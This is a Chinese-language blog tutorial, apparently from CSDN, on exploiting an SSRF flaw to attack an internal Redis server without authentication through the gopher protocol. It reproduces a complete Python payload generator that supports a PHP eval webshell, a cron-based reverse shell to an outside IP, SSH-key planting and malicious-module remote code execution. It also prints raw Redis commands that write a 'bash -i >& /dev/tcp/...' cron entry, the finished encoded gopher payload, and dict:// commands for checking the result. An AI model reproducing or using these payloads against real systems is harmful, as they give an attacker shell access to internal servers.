SSRF+Redis未授权getshell

SSRF+Redis未授权getshell

1.前言

当一个网站具有ssrf漏洞,如果没有一些过滤措施,比如没过滤file协议,gophere协议,dict等协议,就会导致无法访问的内网服务器信息泄露,甚至可以让攻击者拿下内网服务器权限

2.文章主要内容

这里就不讲file协议去获取内网服务器的信息了,也不讲dict协议原理,这些直接百度了解即可,直接就介绍如何利用gopher协议通过SSRF和Redis未授权进行getshell

3.条件

  1. 目标内网机器出网
  2. redis可以未授权访问(或者具有redis密码)。

4.思路

如果想getshell,无非就是让目标主机反弹连接到我们的服务器,那么就需要借助目标主机的定时任务了,由于目标主机具有redis未授权访问漏洞,并且redis有这样一个特性,就是可以将数据快照信息覆盖到服务器的目录中,如果你直接可以通过redis客户端连接目标的redis执行命令,那么实现反弹shell的具体的操作命令如下:

set lucy "\n\n*/1 * * * * bash -i >& /dev/tcp/154.90.63.50/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

但是,由于目标在内网,我们通过redis客户端肯定是访问不到的,所以就必须借组具有ssrf漏洞的web服务器,将web服务器作为跳板,让他帮我们操作内网的redis即可。

那么,如何才能让web服务器帮我们在内网中去执行我们上面的具体操作命令呢,如果不是通过redis客户端操作,肯定不能用上面这么简单的命令了,因为我们让web服务器帮我们发送payload的时候使用的是tcp协议,然而真正内网主机中reedis执行的命令协议比较复杂,有一定的规则,因此我们要将我们的payload转换一下格式,借组gopher协议发送payload

5.payload转gopher协议

这里就要用到github上一个大佬的工具了

https://github.com/xmsec/redis-ssrf,其中我们只需要使用ssrf-redis.py文件即可,对其中的内容进行稍微修改然后运行就可以获得我们支持gopher协议的payload,下面我把大佬的ssrf-redis.py文件贴出来(我对一些地方进行了修改):

要修改的地方:

  1. 第140行的IP,要修改为你要攻击的内网IP
  2. 第141的port,修改为目标redis开放端口,默认是6379
  3. 第157行的mode改为1
  4. 第160行的passwd,如果对方redis有密码并且你必须知道,就需要设置为目标的redis密码
  5. 第112行,需要修改定时任务文件名,一般为root
  6. 第113行,要修改定时任务文件所在目录,一般为/var/spool/cron/,当然有的机器的目录会不一样,可以百度搜索常见目录
  7. 第114行,就是定时任务的反弹shell了,根据你的监听服务器,监听端口进行修改即可,这个定时任务是每分钟一次
#!/usr/local/bin python
#coding=utf8

try:
    from urllib import quote
except:
    from urllib.parse import quote

def generate_info(passwd):
    
    cmd=[
        "info",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def generate_shell(filename,path,passwd,payload):
    
    cmd=["flushall",
        "set 1 {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def generate_reverse(filename,path,passwd,payload): # centos

    cmd=["flushall",
        "set lucy {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
    
def generate_sshkey(filename,path,passwd,payload):

    cmd=["flushall",
        "set 1 {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
    
def generate_rce(lhost,lport,passwd,command="cat /etc/passwd"):

    exp_filename="exp.so"
    cmd=[
        "SLAVEOF {} {}".format(lhost,lport),
        "CONFIG SET dir /tmp/",
        "config set dbfilename {}".format(exp_filename),
        "MODULE LOAD /tmp/{}".format(exp_filename),
        "system.exec {}".format(command.replace(" ","${IFS}")),
        # "SLAVEOF NO ONE",
        # "CONFIG SET dbfilename dump.rdb",
        # "system.exec rm${IFS}/tmp/{}".format(exp_filename),
        # "MODULE UNLOAD system",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def rce_cleanup():
    exp_filename="exp.so"
    cmd=[
        "SLAVEOF NO ONE",
        "CONFIG SET dbfilename dump.rdb",
        "system.exec rm /tmp/{}".format(exp_filename).replace(" ","${IFS}"),
        "MODULE UNLOAD system",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x)))+CRLF+x
    cmd+=CRLF
    return cmd

def generate_payload(passwd,mode):

    payload="test"

    if mode ==0:
        filename="shell.php"
        path="/var/www/html"
        shell="\n\n<?=eval($_GET[0]);?>\n\n"

        cmd=generate_shell(filename,path,passwd,shell)

    elif mode==1: 
        filename="root"
        path="/var/spool/cron/"
        shell="\n\n*/1 * * * * bash -i >& /dev/tcp/154.66.63.60/2333 0>&1\n\n"

        cmd=generate_reverse(filename,path,passwd,shell.replace(" ","^"))

    elif mode==2:
        filename="authorized_keys"
        path="/root/.ssh/"
        pubkey="\n\nssh-rsa "

        cmd=generate_sshkey(filename,path,passwd,pubkey.replace(" ","^"))
        
    elif mode==3:
        lhost="192.168.1.100"
        lport="6666"
        command="whoami"

        cmd=generate_rce(lhost,lport,passwd,command)

    elif mode==31:
        cmd=rce_cleanup()

    elif mode==4:
        cmd=generate_info(passwd)

    protocol="gopher://"

    ip="172.18.240.7"
    port="6379"

    payload=protocol+ip+":"+port+"/_"

    for x in cmd:
        payload += quote(redis_format(x).replace("^"," "))
    return payload

    

if __name__=="__main__":   

    # 0 for webshell ; 1 for re shell ; 2 for ssh key ; 
    # 3 for redis rce ; 31 for rce clean up
    # 4 for info
    # suggest cleaning up when mode 3 used
    mode=1

    # input auth passwd or leave blank for no pw
    passwd = '' 

    p=generate_payload(passwd,mode)
    print(p)

6.运行协议格式转换脚本

在根据你的目标,修改上面的脚本之后,运行脚本

python ssrf-redis.py

运行结果如下:

gopher://172.18.240.7:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Alucy%0D%0A%2458%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/154.66.63.60/2333%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

这个结果就是我们最终的设置定时任务的反弹shell的payload,将这个payload放到具有ssrf漏洞的功能点发起请求即可。

如图,就是我们使用payload之后的回显结果,都是OK,说明所有命令执行成功,不放心的话可以继续下一步进行校验执行结果。

在这里插入图片描述

7.检查执行结果(自信的话可跳过此步骤)

为了确定我们的payload是否成功写入内网,可以利用dict协议进行检查,使用以下命令可以看内网主机的redis的key有哪些

dict://172.18.240.7:6379/keys *

如图所示,发现就有我们刚刚的python脚本中设置payload的lucy这个key

在这里插入图片描述

然后我们再利用dict协议,用以下命令去看看lucy对应的value

dict://172.18.240.7:6379/get lucy

如图所示,发现我们的反弹shell的定时任务成功写入

在这里插入图片描述

8.环境复现

上面的图中的靶场是某公司的面试题,我这里没有靶场环境,这个文章旨在提供思路,如果想复现类似的环境,可以参考下面的文章,这个文章就有环境搭建,不过不是我这篇文章的环境:

SSRF——手把手教你Redis反弹Shell_ssrf redis-CSDN博客

  • 30
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值